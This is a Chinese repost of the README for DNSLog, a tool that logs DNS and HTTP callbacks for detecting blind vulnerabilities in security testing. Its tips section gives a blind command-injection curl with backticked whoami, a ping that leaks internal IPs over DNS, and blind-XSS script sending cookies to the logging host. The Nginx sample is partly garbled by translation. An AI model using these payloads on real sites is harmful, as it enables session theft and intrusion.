DNSLog是一种监控DNS解析记录和HTTP访问记录的工具

admin 2020年9月7日11:02:42评论543 views字数 3734阅读12分26秒阅读模式

DNSLog是一种监控DNS解析记录和HTTP访问记录的工具

简介:
DNSLog是四叶草安全所属的BugscanTeam打造的一个单独的DNS解析记录和HTTP访问记录的工具,在检测盲注类突破时有非常重要的作用,是分布式扫描框架BugScan中核心库之一。

DNSLog基于Django框架编写,将DNSServer集成进DNSLog中,用户可轻松构建使用环境。

你可以点击这里访问:演示站点

安装
1.获取源代码
你可以通过用Git来克隆代码仓库中的最新源代码

$ git clone [email protected]:BugScanTeam/DNSLog.git
或者你可以点击这里下载最新的源代码zip包,并解压

$ wget https://github.com/BugScanTeam/DNSLog/archive/master.zip
$ unzip master.zip

2.安装依赖环境
DNSLog使用前需要安装Django 1.8与dnslib,如果已经安装可跳过此步

$ cd dnslog
$ pip install -r requirements.pip

3.域名与公网IP准备

DNSLog,您需要拥有两个域名,一个域名作为NS服务器域名(例:a.com),一个用于记录域名(例:b.com)。还需要有一个公网IP地址(如:1.1.1.1)

注意:b.com的域名提供商需要支持自定义NS记录,a.com则无要求。

  1.在a.com中设置两条A记录:

    ns1.a.com  A 记录指向  1.1.1.1        
    ns2.a.com  A 记录指向  1.1.1.1
  2.修改b.com的NS记录为1中设定的两个域名

本步骤中,需要在域名提供商提供的页面进行设置,部分域名提供商只允许修改NS记录为已经认证过的NS地址。所以需要找一个人支持修改NS记录为自己NS的域名提供商。

注意:NS记录修改之后部分地区需要24-48小时会生效

4.修改配置文件

修改dnslog/dnslog/settings.py文件中相关配置:

配置文件中的域名对应关系与步骤3相同

   # 做 dns 记录的域名
   DNS_DOMAIN = 'b.com'
   
   # 记录管理的域名, 这里前缀根据个人喜好来定
   ADMIN_DOMAIN = 'admin.b.com'
   
   # NS域名
   NS1_DOMAIN = 'ns1.a.com'
   NS2_DOMAIN = 'ns2.a.com'
   
   # 服务器外网地址
   SERVER_IP = '1.1.1.1'

5.启动服务
$ cd dnslog/
$ sudo python manage.py runserver 0.0.0.0:80
Django web默认启动端口为8000,若要启动在80则则需要root权限

如果不想启动在80扩展,但又想在使用HTTP的时候不加端口号,可以自己安装Nginx,对b.com做反向代理

Nginx反向代理参考脚本:

服务器 {
         监听 443 ;
        ssl on ;
        ssl_certificate /etc/nginx/certs/*.xxx.com/fullchain;
        ssl_certificate_key /etc/nginx/certs/*.xxx.com/key;
        server_name * .hackhttp.com;
        位置 / static {
                 别名 / var / www / dnslog / static;
        }
        位置 / {
                 proxy_pass http://127.0.0.1:8000/;
                proxy_redirect 关闭 ;
                proxy_set_header主机$ host ;
                proxy_set_header X-Real-IP $ remote_addr ;
                proxy_set_header X-Forwarded-For $ remote_addr ;
                proxy_set_header X-Forwarded-Proto $ scheme ;
        }

}

6.https泛证书申请(让我们加密)

  1.安装acme curl https://get.acme.sh | sh

  2.单独启动dns服务器 python zoneresolver.py

  3.添加acme的api脚本

    cp acme.sh/dns_log.sh /root/.acme.sh/dnsapi/dns_log.sh
    chmod x /root/.acme.sh/dnsapi/dns_log.sh
  4.申请证书

    acme.sh --issue -d "*.xxx.com" --dns dns_log --debug --dnssleep 10

  5.安装证书

    mkdir -p / etc / nginx / certs / * .xxx.com /
    acme.sh --install-cert -d * .xxx.com
    --cert-file / etc / nginx / certs / * .xxx.com / cert
    --key-file / etc / nginx / certs / * .xxx.com / key
    --fullchain-file / etc / nginx / certs / * .xxx.com / fullchain
    --reloadcmd “ nginx -s重新加载”
    acme会自动检查证书是否过期,当申请到新证书后也会自动重启nginx让证书生效

站点管理
启动服务成功后,访问http://b.com/admin/进入后台

管理员用户名密码默认重置admin

如果忘记管理员密码,可进入dnslog目录下,执行如下命令重设管理员密码

python manage.py changepassword admin 

普通用户
在User表中添加使用用户的信息,表中已有已经存在test/123456这个用户。

访问http://admin.b.com(ADMIN_DOMAIN指定的域名),输入用户名密码登录。

访问后会在下面看到自己的二级域名,例如test.b.com,当请求test.b.com这个二级域名下的任意子域时,都会被记录,例如:demo.test.b。com。

使用技巧
命令盲注利用
对于某些命令盲注类的漏洞,可以通过DNSLog中的WebLog部分将其转换为有回显的命令执行:

curl "http://testhash.test.dnslog.link/?`whoami`"

在Web控制台下看到结果:

#路径ipua日期
146testhash.test.dnslog.link/?rootxxx.xxx.xxx.xxx卷曲/7.43.02016-05-10 07:36:47
DNS记录中获取源IP地址
详见issue#3

ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.dnslog.link
效果如下:

?  ~ ping -c 3 `ifconfig en0|grep "inet "|awk '{print $2}'`.test.dnslog.link
PING 192.168.10.167.test.dnslog.link (106.186.118.146): 56 data bytes
64 bytes from 106.186.118.146: icmp_seq=0 ttl=52 time=259.491 ms
64 bytes from 106.186.118.146: icmp_seq=1 ttl=52 time=307.566 ms
64 bytes from 106.186.118.146: icmp_seq=2 ttl=52 time=352.757 ms

--- 192.168.10.167.test.dnslog.link ping statistics ---
3 packets transmitted, 3 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 259.491/306.605/352.757/38.082 ms

XSS盲打

在有XSS突破的页面加入类似如下代码:

var s=document.createElement('img');
s.src="http://xss.test.dnslog.link/?url=" document.location "&cookie=" document.cookie;
document.head.appendChild(s);
以httpbin.org为例,一旦触发,在WebLog中可以看到:

#路径ip ua 日期146

 xss.test.dnslog.link/?url= http://httpbin.org/&cookie=_ga=GA1.2.17.142  xxx.xxx.xxx.xxx   Mozilla / 5.0 xxx   2016-06-18

相关链接


版权声明
BugScan社区官网
DNSLog示例站点

文章来源:

https://github.com/BugScanTeam/DNSLog

DNSLog是一种监控DNS解析记录和HTTP访问记录的工具


推荐文章++++

DNSLog是一种监控DNS解析记录和HTTP访问记录的工具

*最好用的内网穿透工具合集

*xlog web日志扫描工具


DNSLog是一种监控DNS解析记录和HTTP访问记录的工具

DNSLog是一种监控DNS解析记录和HTTP访问记录的工具

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年9月7日11:02:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DNSLog是一种监控DNS解析记录和HTTP访问记录的工具http://cn-sec.com/archives/122217.html

发表评论

匿名网友 填写信息